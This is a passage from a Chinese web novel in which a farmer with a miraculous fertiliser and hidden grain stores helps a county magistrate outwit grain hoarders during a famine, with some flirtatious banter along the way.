他招呼着那几个同样被吓傻了的老人,七手八脚地搀扶起那些还在地上哼哼唧唧的村民。
一群人,来时气势汹汹,去时狼狈不堪,像一群斗败了的瘟鸡,互相搀扶着,头也不敢回地朝着村子的方向仓皇逃去。
第186章 赤裸裸的威胁
稻花村村口的闹剧收场。
次日下午,崔守田就亲自带着几个村里的长辈,再次来到了稻花村。
这一次,他没有丝毫村长的架子,在江夜的院门口,恭恭敬敬地递上了拜帖,姿态放得极低。
江夜没有见他,只是让王囤出去传话,让他们把崔家坳所有田地的亩数统计好,明日自会有人送“神肥”过去。
崔守田千恩万谢地走了。
很快,一袋袋黑色的“神肥”被送到了崔家坳。
崔家坳的村民们看着这些其貌不扬的黑土,心里其实是犯嘀咕的。
就这玩意儿,真能让铁板地长出庄稼?
可一想稻花村那片绿得刺眼的田地,他们不敢有丝毫怠慢,完全按照王囤传授的方法,将神肥小心翼翼地撒进了自家的地里。
三天后。
天刚蒙蒙亮,一个睡不着的崔家坳老农,就鬼使神差地扛着锄头来到了自家地头。
当他看到眼前景象的刹那,手里的锄头“哐当”一声掉在了地上。
他使劲揉了揉眼睛,又狠狠掐了自己大腿一把。
剧痛传来,眼前的景象却分毫未变。
那始终半死不活的贫瘠土地上,此刻,竟铺满了一层密密麻麻的嫩绿色!
一株株禾苗破土而出,在晨风中轻轻摇曳,那股茁壮的生命力,几乎要将人的眼睛灼伤!
“苗长出来了!”
一声夹杂着狂喜和不敢置信的嘶吼,划破了崔家坳清晨的宁静。
越来越多的人从村里冲了出来,当他们看到那片宛如神迹的绿色时,整个村子都沸腾了。
“天哪!真的长出来了!”
“老天爷开眼了!我们有救了!”
压抑了太久的绝望,在这一刻尽数爆发,化为了震天的欢呼。
男人们激动得满脸通红,女人们抱着孩子喜极而泣。
村长崔守田站在地头,看着眼前这片生机勃勃的景象,浑浊的老泪纵横交错。
他猛地转过身,朝着稻花村的方向,直挺挺地跪了下去,重重地磕了一个响头。
在他身后,所有崔家坳的村民,无论男女老少,全都自发地跪了下来。
黑压压的一大片人,朝着稻花村的方向,朝着那个给予他们新生的人,致以最虔诚的叩拜。
从这一刻起,江夜在他们心中,是救苦救难,再造生恩的活菩萨。
……
与此同时,清河县内。
县衙后堂,书房内。
沈砚秋身着一袭青色官袍,静静地坐在书案后。
她那张平日里英气逼人的俏脸上,此刻却是一片冰寒,一双漂亮的凤眸里布满了血丝,透着深深的疲惫。
书案上,各地呈上来的文书堆积如山,每一份,都记录着触目惊心的灾情。
一名身着衙役服饰的随从正站在堂下,低着头,用一种近乎耳语的声音汇报着。
“大人……城中粮价今日又涨了一成,已经到了五百文一斗的天价。昨日,城西的李记粮铺和城南的王家米行,都被饥民给……给抢了。”
“城外今天早上又发现了七八具饿死的人,肚子里……全是观音土。”
随从的声音越来越低,他不敢抬头去看县令大人的脸色。
沈砚秋捏着毛笔的手,指节因为用力而根根发白。
她闭上眼,仿佛能听到城中百姓的哀嚎,能看到城外倒毙荒野的尸骸。
那股巨大的无力感,让她几乎窒息。
“传令下去。”半晌,她睁开眼,声音嘶哑而冰冷,“召集城中所有粮商,半个时辰后,到县衙大堂议事!”
县衙大堂。
气氛压抑得让人喘不过气。
十几个脑满肠肥的粮商被衙役“请”到了大堂之上,他们一个个穿着绫罗绸缎,与这肃杀的公堂格格不入。
看着高坐堂上,脸色阴沉得能滴出水来的年轻县令,这些商人们彼此交换着眼色,脸上不见丝毫慌乱,反而带着几分不易察觉的轻蔑。
沈砚秋强压着心头的滔**火,语气尽量平和。
“诸位,想必城中的情形,你们比本官更清楚。如今灾荒四起,百姓流离失所,饿殍遍地。本官今日请诸位来,是希望诸位能体谅
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朝廷之艰难,百姓之疾苦,开仓售粮,平抑粮价,救万民于水火。”
她的话音刚落,为首的王胖子便立刻哭诉道:“县令大人啊!您可要为我们做主啊!”
“我们也是小本经营,这批粮食,都是从外地高价收来的,路上还**好几个伙计!现在城里这个价,我们已经是亏本在卖了啊!要是再降价,我们全家老小也要去喝西北风了!”
“是啊是啊,王老板说的对!实在是心有余而力不足啊!”
“我们粮仓里也快见底了,再降价,我们全家老小都要去喝西北风了!”
“求大人明鉴,我们也是小本生意,实在是无能为力啊!”
一个个说得声泪俱下,仿佛他们才是受灾最重的那批人。
看着他们那拙劣的表演,沈砚秋的脸色彻底沉了下来。
“本官再说一遍!”沈砚秋缓缓站起身,居高临下地俯视着他们,眼中寒芒闪烁,“国难当头,若有人敢囤积居奇,发国难财,一经查实,本官必将其明正典刑,抄没家产,绝不姑息!”
森然的杀气,让堂下的温度都仿佛降了几分。
然而,王胖子却只是愣了一下,随即嘴角勾起一抹微不可查的弧度。
他拱了拱手,不紧不慢,阴阳怪气地说道:“县令大人息怒。我们都是奉公守法的良民,做的是正经买卖,这囤积居奇的帽子,可不敢乱戴。”
他抬起头,毫不畏惧地直视着沈砚秋:“大人是父母官,当以王法为重。可不能因为一些捕风捉影的传言,就冤枉了我们这些安分守己的小商人,这要是传了出去,恐怕……对大人的官声,也不太好吧?”
赤裸裸的威胁!
这些粮商都是地头蛇,关系盘根错节,早已将粮食藏匿得妥妥当当。
没有确凿的证据,沈砚秋确实动不了他们。
那股熟悉的,深入骨髓的无力感再次涌上心头。
空有一腔热血,却报国无门。
手握县令大印,却连一群唯利是图的商人都无可奈何。
这世道,究竟是怎么了?
第187章 这……这怎么可能?!
沈砚秋胸口剧烈地起伏着。
她看着堂下那一张张脸上,毫不掩饰的讥讽与挑衅,指甲深深嵌入了掌心。
良久,她仿佛耗尽了所有力气,缓缓坐了回去。
她挥了挥手,声音冷得如同寒风。
“滚。”
“多谢大人体恤,我等告退。”王胖子脸上的得意一闪而过,他装模作样地拱了拱手,带着一众粮商躬身行礼。
他们转身走出大堂,立刻换上了另一副嘴脸。
“呸!还真当自己是个人物了?”一个粮商朝地上吐了口唾沫,满脸不屑,“一个**都没长齐的小子,也敢在咱们面前耍官威?”
王胖子回头看了一眼那空旷威严的公堂,嘴角勾起一抹讥讽的冷笑:“官威?他有那个本事吗?没有证据,他敢动我们一根手指头?等着吧,再过十天半个月,粮价还能再翻一倍!到时候,他就得跪着来求我们开仓!”
“王老板高见!”
“哈哈哈……”
一群人发出肆无忌惮的嘲笑,那声音刺耳至极。
沈砚秋独自一人,端坐在那张冰冷的公堂高椅上。
周围是空旷的大堂,高高的房梁投下巨大的阴影,将她的身影完全吞没。
从未有过的绝望,如同潮水般将她淹没。
她是一县之主,是百姓的父母官。
可她什么都做不了。
只能眼睁睁看着这群硕鼠蛀空国家的根基,看着百姓在哀嚎中死去。
巨大的无力感像一座大山,压得她喘不过气。
就在这片绝望之中,一个男人的脸,毫无征兆地从她脑海深处蹦了出来。
那张脸带着几分玩世不恭的笑意,眼神仿佛能洞悉一切,嘴角总是挂着若有若无的弧度。
是江夜。
“我有秘法,可让作物产量翻倍。”
那句在她听来狂妄至极的话,此刻却在她的脑海中反复回响。
一个念头,像一株疯狂滋长的藤蔓,不受控制地缠住了她的心脏。
或许……他真的可以?
不!不可能!
沈砚秋立刻否定了这个荒唐的想法。
那是个轻佻无状的登徒子!
自己怎么能把希望寄托在这样的人身上?
可万一他不是在说大话呢?
沈砚秋的心中,开始了天人交战。
理智告诉她,这世上绝不可能有违背天时、让作物几天之内就长成的秘法。
可心底那最后一丝希望,却驱使着她去相信这个不切实际的可能。
去信他,可能会被再次戏耍。
但不信他,就只能坐在这里,眼睁睁看着清河县变成一座人间地狱。
最终,对万千民生的忧虑,彻底压倒了她个人的骄傲与偏见。
罢了,就算是病急乱投医,就算被那个无赖再嘲笑一次,也认了!
沈砚秋猛地咬了咬牙,那双布满血丝的凤眸中,重新燃起了一丝光。
她霍然起身,快步走出大堂,对着门外的衙役下令。
“备马!去稻花村!”
“是,大人。”
……
官道上,马车颠簸前行。
沿途的景象,一如既往地死气沉沉。
田地荒芜龟裂,村庄里看不到一丝炊烟,偶尔有几个面黄肌瘦的村民,像游魂一样靠在墙角,眼神空洞地望着远方。
满目疮痍,触目惊心。
车厢内的气氛压抑到了极点,沈
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砚秋闭着眼,眉头紧锁,心情随着马车的颠簸,愈发沉重。
不知过了多久,当马车缓缓驶过一个山坳,临近稻花村地界时,一抹极不真实的绿色,毫无征兆地,透过车帘的缝隙,闯入了她的视野。
那绿色是如此的鲜活,与外面那一片枯黄死寂的世界格格不入。
沈砚秋瞬间一愣。
是幻觉吗?是自己连日劳累,眼花了吗?
她猛地伸手,“哗啦”一声掀开了车帘。
下一秒,她整个人都僵住了。
窗外,一望无际的田野,不再是她记忆中那片贫瘠的黄土。
取而代之的,是一片生机盎然的绿色海洋!
无数的禾苗破土而出,在春日的微风中轻轻摇曳,那茁壮的生命力,绿得几乎要灼伤人的眼睛!
“吁——”
赶车的衙役也被眼前的景象惊得下意识地勒紧了缰绳,马车骤然停下。
沈砚秋失魂落魄地走下马车,跟在她身后的几个随从,看着眼前这宛如神迹的景象,也全都惊得目瞪口呆,一个个张大了嘴巴,集体失声。
她踉踉跄跄地走到田边,伸出手,指尖微微颤抖着,轻轻触摸到一株禾苗的叶子。
那湿润、冰凉而又充满韧性的真实触感,从指尖传来,让她的大脑彻底一片空白。
是真的……
这一切,竟然是真的!
她猛地抬起头,极目远望。
这片绿色的海洋,并不仅仅局限于稻花村。
远处,那属于崔家坳方向的田地里,同样是一片望不到头的翠绿!
两个村子,数千亩的土地,全都焕发着不可思议的生机!
这……这怎么可能?!
第188章 县衙没有,我有
沈砚秋过了好一会儿才压下心中的惊涛骇浪,径直朝着江夜家的方向走去。
江家小院里,一派悠然景象。
新栽的桃树下,一张宽大的竹制摇椅正轻轻晃动。
江夜半眯着眼躺在上面,手里还拿着一根狗尾巴草,优哉游哉地晃着。
院子另一头,几个身怀六甲的女子正围坐在一起。
白梦夏温柔地抚摸着自己高高隆起的腹部,脸上带着母性的光辉,正低声和一旁的林间雪说着什么。
林间雪手里拿着个小簸箕,正仔细地挑拣着一些晒干的梅子,听到有趣处,便抿着嘴轻笑,眉眼间的怯懦早已被幸福的红晕取代。
活泼好动的白梦秋则拉着慕容晴,非要跟她比谁的肚子更大一些。
慕容晴被她闹得没办法,只能挺着自己同样显怀的肚子,没好气地在她额头上点了一下,惹得白梦秋一阵娇嗔。
这温馨和睦的一幕,落在闯进院子的沈砚秋眼中,心中烦躁更甚。
“江夜!”
摇椅上的江夜,听到这熟悉的声音,懒洋洋的睁开眼。
“沈大人来了。”
沈砚秋走上前,居高临下地看着江夜。
“江夜,你可知现在清河县是什么光景?”
江夜指了指一旁的石凳,淡淡道:“坐下说。”
沈砚秋胸口一滞,最终还是拂袖坐下。
她不再拐弯抹角。
“城中春耕彻底停滞,颗粒无收几乎已成定局。粮价飞涨至五百文一斗,城西粮铺和城南米行昨日被百姓哄抢。”
她的每一个字都透着一股绝望。
“本官召集了城中所有粮商,晓之以理,动之以情,甚至以官威相逼,可这些奸商串通一气,拒不开仓!”
“如今城中百姓苦不堪言,可是本官却束手无策,你可有良策,救这一县之民?”
说到最后她那挺得笔直的脊背,几不可察地垮塌了一瞬。
这是她第一次在人前,承认自己的无能。
江夜终于慢悠悠地睁开了眼。
他坐起身,拿起石桌上早已泡好的茶,轻轻吹开浮沫,啜了一口。
才不紧不慢地开口。
“办法,很简单。”
“继续提高粮价。”
沈砚秋瞬间愣住了。
下一秒,一股怒火直冲头顶,她猛地拍案而起。
“江夜!”
“你知不知道你在说什么?你提出的这个办法与那些囤积居奇、草菅人命的奸商,有何区别?!”
“简直丧尽天良!”
她气得浑身发抖,眼圈都红了。
她以为他就算不肯帮忙,也断然说不出这种话。
院子里的白梦夏几人也被这突如其来的怒斥吓了一跳,纷纷担忧地看向江夜。
但江夜那张始终淡漠的脸上却勾起了一抹玩味的弧度。
“沈大人,稍安勿躁,听我说完。”
他的声音依旧平淡,却带着一种安抚人心的力量。
沈砚秋死死瞪着他,但终究没有再开口。
江夜这才慢条斯理地解释道:“清河县缺粮,这是事实。你想平抑粮价,可你拿什么平抑?靠官府的威严去逼迫粮商降价?他们只会把粮食藏得更深,阳奉阴违,最后倒霉的还是百姓。”
“利字当头,必有勇夫。只要让粮价高到离谱,高到足以让外地的粮商觉得有利可图,他们才会不远千里,冒着风险,将粮食源源不断地运进清河县。”
沈砚秋不是蠢人,此刻**夜
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一点,她便已经隐约明白了后面的路数。
江夜看着她变幻莫测的脸色,嘴角的笑意更深了。
“到时候,城里的粮食多了,王胖子他们还能坐得住吗?”
沈砚秋的呼吸变得急促起来。
江夜继续道:“到了那时,他们就只有两个选择。要么,跟着降价抛售,这样一来粮价就稳住了。要么,他们就得拿出更多的银子,把外地运来的粮食全部吃下,继续维持高价。”
“以王胖子等人的贪婪,他们一定会选后者!”沈砚秋毫不犹豫地说道。
“这就对了。”江夜嘴角的笑意更浓,“等他们倾尽家财,把所有粮食都囤积在手里,做着粮价能涨到一千文一斗的美梦时……”
他顿了顿,一字一句地说道:“我们,再将大量的平价粮食,一口气投入市场。”
沈砚秋脸上的怒火,早已被震惊与骇然取代。
这一招何其毒辣!又何其高明!
这不仅仅是要平抑粮价,这是要让王胖子那群**血馒头的奸商,赔得倾家荡产,万劫不复!
她看着眼前这个笑容玩味的男人,心中第一次生出了一股寒意。
此人,不仅有通天彻地的手段,更有算计人心的城府。
但下一秒,她脸上刚刚亮起的光彩,又瞬间黯淡了下去。
她颓然地坐回石凳上,声音里充满了苦涩。
“此计虽好,但……无用。”
“县衙府库早已空虚见底,别说大量抛售,便是一石米都拿不出来了。我们……没有砸盘的粮食。”
没有粮食,一切计谋都是空中楼阁。
然而,江夜看着她失魂落魄的样子,嘴角微微一勾。
“县衙没有,我有。”
第189章 管够
沈砚秋猛地抬起,死死地盯着江夜,脸上满是难以置信。
整个清河县府库空虚,连她这个县令都为了一石米而愁白了头。
他一个乡野村夫,他说他有?
他能有多少?几百斤?上千斤?
对于嗷嗷待哺的全县百姓来说,那不过是杯水车薪。
可江夜的表情,是那样的笃定。
仿佛在他眼中,那能让一县之主束手无策的粮食问题,根本就不算个事。
“沈大人若信得过我,”江夜端起茶杯,吹了吹热气,慢悠悠地道,“我可以按市价,平价卖给你一批粮食,解你燃眉之急。”
平价卖给她?
不是趁火**,不是狮子大开口,而是平价?
巨大的惊喜,瞬间冲垮了沈砚秋心中最后一道防线。
连日来积压的绝望、无力、自责与愤懑,仿佛都在这一刻尽数化去。
她缓缓站起身,目光复杂地看着眼前这个她一度认为是轻佻无赖的男人。
此刻,他却成了她唯一的救命稻草。
沈砚秋深吸了一口气,整理了一下自己身上的官袍,当着院子里所有人的面,对着江夜弯下了腰。
“江先生高义,请受沈某一拜!此恩,清河县万千百姓,没齿难忘!”
她的声音里,带着无法抑制的颤抖。
江夜安然地坐在摇椅上,受了她这一拜,神情坦然。
待她直起身,江夜才将茶杯放下,脸上重新挂上了那抹带着几分促狭的笑意。
“沈大人太客气了。对了,之前跟你提的事,考虑得怎么样了?”
沈砚秋一时没反应过来,下意识地问:“什么事?”
江夜的嘴角咧开:“给我介绍你妹妹的事啊。”
空气,仿佛在这一瞬间凝固了。
沈砚秋脸上的感激与敬佩,瞬间僵住。
那张俏脸以肉眼可见的速度,迅速涨红,从脸颊一路蔓延到白皙的耳根。
“你!”
她气得浑身发抖,满心的羞愤与恼怒。
这个无赖!登徒子!
自己刚刚才对他行了那样的大礼,感激他救万民于水火,他……他转头就又拿这种事来调戏自己!还是当着这么多人的面!
她瞪着江夜,嘴唇哆嗦着,却偏偏一个字都骂不出来。
骂他?她现在还有什么资格骂他?整个清河县的百姓,都等着他的粮食救命!
看着她那副想发作又不敢发作,一张俏脸憋得通红的模样,江夜终于忍不住,哈哈大笑起来。
他从摇椅上站起身,对着气得快要冒烟的沈砚秋做了个请的手势:“行了行了,走吧,沈大人,带你去看粮。”
沈砚秋心中憋着一口气,不上不下,难受得紧。
但想到粮食的事,还是忍了下来,她剜了江夜一眼:“带路!”
说罢,她一甩袖子,压下满心的羞愤,跟了上去。
**等几个随从面面相觑,也只好快步跟上。
江夜领着他们绕过正屋,来到后院。
后院原本的空地上,不知何时,已经建起了好几座巨大仓库。
这些仓库用厚实的木板和青砖砌成,墙体极厚,看起来坚固异常。
江夜走到中间那座仓库门前,拉开沉重的木栓,将仓门推开。
瞬间,一股干燥、混杂着谷物独有清香的空气,扑面而来。
紧接着,映入所有人眼帘的,是一座山。
一座由无数金黄色谷粒堆积而成的山!
那堆积如山的粮食,闪烁着黄金般璀璨又迷人的光泽,高得几乎要触碰到仓库的房梁,又宽又厚,几乎要从门口满溢出来。
院子里落针可闻。
沈砚秋整个人都僵在了原地,她微微张着嘴,那双总是闪烁着精明
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与英气的凤眸里,此刻只剩下了一片茫然。
她身后,**和几名衙役,也都一个个呆在原地。
不知过了多久,沈砚秋才踉踉跄跄地往前走了一步。
她颤抖着伸出手,一把插入了那温凉又饱满的谷堆之中。
无数谷粒滑过指缝的真实触感,让她混沌的大脑终于有了一丝清明。
是真的……
这一切,竟然是真的!
她抓起一把谷粒,任由它们从指间簌簌滑落。
“这……这怎么可能……”她喃喃自语,如同梦呓。
她的目光,从手中的谷粒,缓缓移向旁边那几座同样巨大的仓库。
如果这一座就已是如此……那另外几座呢?
一个让她头皮发麻的念头浮上心头。
她心中掀起了滔天巨浪,对江夜的认知在这一刻被彻底颠覆、重塑,最后只剩下无尽的骇然与敬畏。
“嘶!”
一声抽气声打破了沉寂。
**正龇牙咧嘴地揉着自己的胳膊,他刚刚为了确认自己不是在做梦,狠狠掐了自己一把。
那钻心的疼告诉他,眼前这一切,都是真的。
沈砚秋僵硬地转过头,看向那个依旧云淡风轻地靠在门边的男人。
“江夜,这些粮食……是从何而来?”
这么多粮食凭空出现在一个村庄,这已经完全超出了她所能理解的范畴!
江夜对上她那复杂的目光,却只是笑而不语。
他重新将仓门关上,插好木栓,懒洋洋地拍了拍手上的灰尘。
“沈大人不必管这些粮食从何而来,”他淡淡道,“你只需知道,管够。派人来运吧。”
沈砚秋深深地看了他一眼。
她忽然发现,自己对这个男人的了解,不过是冰山一角。
这个男人的秘密,比她想象的,还要深不见底。
第190章 设局
沈砚秋将运粮之事安排妥当后,心中的大石却并未完全落下。
江夜的计策虽能惩治奸商,稳住粮价,但若没有后续的粮食产出,一切都是空谈。
当运来的粮食耗尽,清河县依旧会陷入绝境。
想要彻底解决清河县的灾荒,让数十万百姓不再挨饿,唯一的希望,是那能让冻土长出庄稼的神肥。
这,才是真正的救世之法。
这个念头在脑海中盘旋,让沈砚秋心中再次升起一丝忧愁。
沈砚秋的目光,再次看向那个一脸懒散的男人。
她深吸一口气,再次整理了自己微乱的官袍,走到江夜面前,再次弯下了腰身,深深一拜。
“江先生,沈某还有一请。”
她的声音带着一丝沙哑与恳切,“粮食终有尽时,唯有自产,方是长久之计。
先生那‘神肥’之法,可令春耕有望。
沈某恳请先生,为清河县数十万百姓,献出此法!”
“此恩此德,清河县上下,必为先生立碑作传,世代供奉!”
这一次,她的话语里只剩下最纯粹的恳求。
江夜看着她恳切至极的模样,脸上依旧是那副玩味的笑容。
“沈大人,你这话就见外了。”
江夜的目光在她脸上转了一圈,意有所指地笑道:“什么献不献的,多生分,条件嘛,还是那个条件。”
他顿了顿,嘴角的弧度更大了几分。
“什么时候想通了,什么时候带你妹妹来找我。”
随着江夜话音落下,空气再一次凝固。
沈砚秋缓缓直起身子,那双刚刚还充满恳切与希望的凤眸,瞬间被冰霜覆盖。
她以为,自己放下所有身段,为了万民**,至少能换来他的尊重。
可他竟然拿一县数十万人的性命,来要挟自己,来开这种龌龊的玩笑!
她气得嘴唇都在哆嗦,几乎是咬着牙,从牙缝里挤出几个字。
“本官没有妹妹!”
话音落下,她猛地一甩袖子,转身就走,那决绝的背影,仿佛多待一秒都是煎熬。
“大人!”
**等人连忙跟了上去,临走前,还忍不住回头看了一眼那个脸上挂着笑容的男人,心中五味杂陈。
“哎,真是个倔脾气。”
江夜看着她远去的背影,摸了摸下巴,脸上的笑容却丝毫未减。
……
回城的马车上。
沈砚秋闭目端坐,一言不发。
但那微微颤抖的睫毛和急促起伏的胸膛,却显示出她内心的极不平静。
她脑子里一边江夜现出的毒辣计策。
那份算尽人心的城府,让她心惊之余,又不得不佩服。
另一边,又是他那张挂着促狭笑意的轻佻嘴脸,那句“让你妹妹来找我”,让她又恼又怒。
这种不得不依靠他,却又被他随意拿捏的感觉,让沈砚秋第一次尝到了什么叫作真正的无力。
沈砚秋敬他,有通天彻地之能,也恼他视人伦礼法如无物。
这两种极端的情绪在她心中反复交织,撕扯着她的理智。
最终,所有的情绪都化为了一声几不可闻的叹息。
罢了。
神肥之事,暂且不提。
当务之急,是先用他教的法子,把城里那群吸血的硕鼠,连根拔起!
想到这里,沈砚秋紧闭的凤眸,骤然睁开。
马车一路颠簸,终于回到了县衙。
沈砚秋走下马车的那一刻,脸上的所有挣扎已经消失,取而代之的,是一片冰寒。
“来人!”她声音清冷,“传我命令,召集城中所有粮商,立刻到县衙大堂议事!”
……
醉月轩包厢。
不过半日功夫,王胖子等十几个脑满肠肥的粮商,便被请了过来。
他们看着将他们请来的沈砚秋,心中都有些犯嘀咕。
这新来的县令,葫芦里到底卖的什么药?
昨日才不欢而散,今日又把他们叫来,难不成是想通了,要服软?
众人彼此交换着眼色,脸上依旧挂着恭敬的假笑,心里却已经打定了主意,不管这县令说什么,不把粮价抬到天上去,绝不出手。
然而,沈砚秋接下来
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的举动,却让所有人都大跌眼镜。
“你们都退下,**留下。”
她一开口,竟是屏退了左右的衙役。
王胖子等人心里咯噔一下,顿时警惕起来。
这是要干什么?密谈?
待所有衙役都退下,大堂之门缓缓关上,沈砚秋才端起了手边的茶杯。
她脸上的表情,竟奇迹般地柔和了下来,甚至挤出了一丝笑容。
“诸位老板,坐。”
她抬了抬手,语气也缓和。
“昨日是本官年轻气盛,不懂事,言语间多有冲撞,还望诸位海涵。”
这番话一出,堂下十几个粮商集体愣住了。
王胖子更是瞪大了眼睛,满脸的不可思议。
这位看着硬气得很的县令大人,竟然真的服软了?
沈砚秋将他们的神情尽收眼底,放下茶杯,手指在桌案上轻轻敲击着,声音在寂静的大堂里显得格外清晰。
“本官想了一下午,总算是想通了一个道理。”她慢悠悠地说道,“水至清则无鱼,人至察则无徒。如今这世道,大家讨生活都不容易。”
“朝廷的赈灾粮迟迟不到,本官也是有心无力。堵不如疏,与其强行压着粮价,惹得大家不痛快,倒不如……我们一起想想办法,有钱,大家一起赚嘛。”
这番话,说得露骨又直白。
王胖子等人面面相觑。
这县令转变得也太快了!昨儿还喊打喊杀,要抄家灭门,今天就想跟他们同流合污了?
事出反常必有妖!
看着他们一个个狐疑的表情,沈砚秋嘴角的笑意更深了。
“本官的意思是,从明日起,县衙可以带头贴出告示,就说官仓也已无粮,粮价……随行就市。至于这个市价能到多高,就看诸位的本事了。”
她停顿了一下,目光扫过每一个人。
“不过,本官帮你们顶着上面的压力,安抚下面的饥民,总不能白忙活一场。”
她敲击桌面的手指停了下来,身体微微前倾,压低了声音。
“诸位老板……总该表示表示吧?”
第191章 这一次只能赢
沈砚秋此话一出,大堂内瞬间安静得落针可闻。
十几个粮商的目光,全都聚焦在沈砚秋脸上。
终于,王胖子那肥硕的身躯往前挪了挪,他眼里闪烁着精光,试探着开口:“不知……大人想要多少?”
沈砚秋的目光从脸上扫过,缓缓伸出了三根白皙修长的手指。
“利润的三成。”
话音落下的瞬间,堂下立刻炸开了锅。
“三成?!”
“这……这也太多了!”
“大人,我们冒着这么大的风险,担着掉脑袋的罪名,您一句话就要拿走三成?”
粮商们瞬间哗然,一个个脸上写满了惊愕与不满。
这胃口,也太大了!简直是明抢!
王胖子也是一愣,他死死盯着沈砚秋,想从她脸上看出些什么。
只见这位年轻的县令大人,面对众人的质问,脸上非但没有丝毫退让,反而流露出一丝不耐,她在桌案上一敲。
“怎么?诸位觉得多?”她冷笑一声,身体前倾,那股属于县令的威压再次散发出来。
“你们囤积居奇,哄抬粮价,哪一条不是杀头的罪过?本官替你们担着干系,安抚着刁民,只要三成,你们还嫌多?”
“若是你们不乐意,那也简单。本官现在就开堂,将你们有一个算一个,全都打入大牢!我倒要看看,是你们的骨头硬,还是县衙的板子硬!”
她这模样,像极了一个急于捞钱、不顾后果的贪官嘴脸。
看着沈砚秋那贪婪的模样,王胖子心中的最后一丝怀疑,终于彻底压了下去。
到底是个没见过世面的黄毛小子,被这泼天的富贵迷了眼,以为三成利润就是天了。
他哪里知道,只要他们再捂十天半个月,粮价翻上十倍,到时候别说三成,就算给他五成,剩下的也够他们吃得盆满钵满。
看来这新县令是顶不住压力,想趁着任期捞一笔就走人了。
想通了这一点,王胖子脸上的惊愕瞬间变成了谄媚的笑容。
他狠狠瞪了一眼身边还在叫嚷的粮商,随即对着堂上拱手哈腰:“大人息怒,大人息怒!三成,不多,一点都不多!能为大人分忧,是我等的荣幸!”
其余粮商也立刻反应过来,纷纷换上了一副笑脸。
“是是是,王老板说得对,全凭大人安排!”
“我等愿为大人效犬马之劳!”
看着这群人变脸比翻书还快的嘴脸,沈砚秋眼中闪过一丝不易察觉的鄙夷,但脸上依旧维持着那副贪婪的模样,满意地点了点头:“算你们识相。都走吧,记住你们今天说的话。”
“是,是,我等告退!”
王胖子等人点头哈腰地退出了大堂。
刚一走出县衙大门,远离了那座威严的公堂,王胖子脸上的谄媚便瞬间消失得无影无踪。
他回头看了一眼县衙的牌匾,朝地上狠狠啐了一口。
“呸!我还当是什么硬骨头,原来也是个贪得无厌的!”
“可不是嘛,狮子大开口,张嘴就要三成,也不怕撑死!”另一个粮商满脸不屑地冷笑。
王胖子讥讽道,“等粮价涨到一千文一斗,咱们的银子翻上几番,随便拿出几百两银子打发了就是。他一个外地来的官,还能在清河县扎根不成?”
“王老板说的是!他这就是想在滚蛋前,捞一笔快钱!”
“哈哈哈,他还真以为我们是傻子,给他当牛做马?”
一群人发出肆无忌惮的嘲笑,得意洋洋地四散而去。
包厢内,随着木门缓缓关上,隔绝了外面的喧嚣。
沈砚秋脸上的所有伪装瞬间褪去,她无力地靠在椅背上,脸色苍白得没有一丝血色。
“大人……”**看着她疲惫不堪的模样,满脸担忧地上前一步,“您这又是何苦?此举太过冒险,若是传扬出去,于您的官声有碍啊!”
与奸商同流合污,这要是被捅到上面去,丢官罢职都是轻的。
沈砚秋疲惫地摆了摆手:“官声?若连治下百姓的性命都保不住,要这官声又有何用?”
她抬起头,那双布满血丝的凤眸中满是坚决。
“这是唯一的办法了,我只能选择赌一把。”
……
当晚,县衙后院的书房内,灯火通明。
沈砚秋端坐在书案前,亲手研磨。
良久,她铺开一卷上好的信纸,提起狼毫笔,笔尖蘸满了墨。
这一次,她写的不是公文,而是一封家书。
收信人,是她远在江临郡担任郡守的父亲。
“父亲大人安启……”
笔尖在纸上沙沙作响,她将清河县如今的困局,旱灾、粮荒、民心浮动,一五一十地写
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下。
接着,她写到了与粮商的周旋。
当写到自己假意合作,引蛇出洞的计策时,她的笔锋一转。
“……此计,非儿一人之功,乃出自稻花村一乡野村夫之口,此人姓江名夜。”
写到这里,她脑海中,浮现出那张玩世不恭的脸。
她摇了摇头,将这些纷乱的思绪甩开,继续写道:“此人行事乖张,言语轻佻,却有经天纬地之才,算计人心之能,远非寻常人可比。
儿斗胆,依其计行事,欲将清河粮商一网打尽,以其资财,救济万民。”
写完这部分,她又犹豫了。
最匪夷所思的事情,是那漫山遍野的绿,这该如何落笔?
笔尖悬于纸上,久久未落。
她自己都觉得荒诞不经,又如何让远在百里之外的父亲相信?
最终,她深吸一口气,还是决定如实相告。
“另有一事,匪夷所思,儿亦不敢确信,然亲眼所见,不敢欺瞒。江夜此人,有秘法可制‘神肥’,施于冻土之上,可令禾苗破土而出,生机盎然,长势远胜寻常。
稻花村与崔家坳数千亩荒地,如今已是绿意成海。其言,此法可令稻谷产量翻倍……”
写到这里,连她自己都倒吸一口凉气。
若非亲眼所见,打死她也不会相信世间竟有如此神迹。
“……其人家中,更藏有粮山,不知几万石。儿之计策,所依仗之平价粮,皆出自此人。此人之来历、手段,皆深不可测。”
写完最后一个字,她将信纸上的墨迹吹干,仔细折好,装入信封,用火漆封口。
“**。”
“属下在。”一直守在门外的**立刻推门而入。
“将此信,八百里加急,即刻送往江临郡城,亲手交到郡守大人手中。”沈砚秋将信递给他,声音凝重,“切记,不得有任何闪失!”
“是!属下遵命!”**接过信,揣入怀中,转身快步离去。
书房里,又只剩下沈砚秋一人。
她缓缓走到窗前,推开窗户,冰冷的夜风瞬间灌了进来,吹得她衣袂翻飞。
她望着县城中那零星散落的灯火,如同黑夜里的萤光,微弱而飘摇。
这一局,赌上了她的前程、官声,还有清河县数十万百姓的未来。
所以这一次只能赢,不能输。
第192章 开仓!放粮!
不过短短数日,清河县的粮价便彻底失控。
从五百文一斗,到六百文,再到七百文……一路飙升至八百文一斗的天价!
城西的米铺外,队伍排得像一条看不到头的长龙,一张张面黄肌瘦的脸上,满是绝望与麻木。
一个老妇人颤颤巍巍地捧着一个布包,里面是她女儿陪嫁的最后一支银簪子,可换来的,却只有小半斗掺了沙子的糙米。
“作孽啊!这官府是要逼死我们啊!”
一个汉子将家里最后一点铜板拍在柜台上,却被告知价格又涨了,连一升米都买不起。
他猛地回头,一拳砸在旁边的墙壁上,指节瞬间鲜血淋漓,可他却感觉不到疼,靠着墙壁,发出压抑的呜咽。
类似的场景,在清河县的每一个角落上演。
无数百姓跪在自家门口,朝着县衙的方向,咒骂着那位与奸商沆瀣一气的“沈贪官”。
“沈砚秋!你不得好死!”
“吃了我们的血,喝了我们的肉,你会下十八层地狱的!”
“老天爷啊,开开眼吧,降下一道雷,劈死这个狗官!”
民怨,已然沸腾。
县衙内。
**站在窗前,听着那隐隐约约传来的咒骂声,只觉得心如刀绞。
他再也忍不住,快步走到书案后。
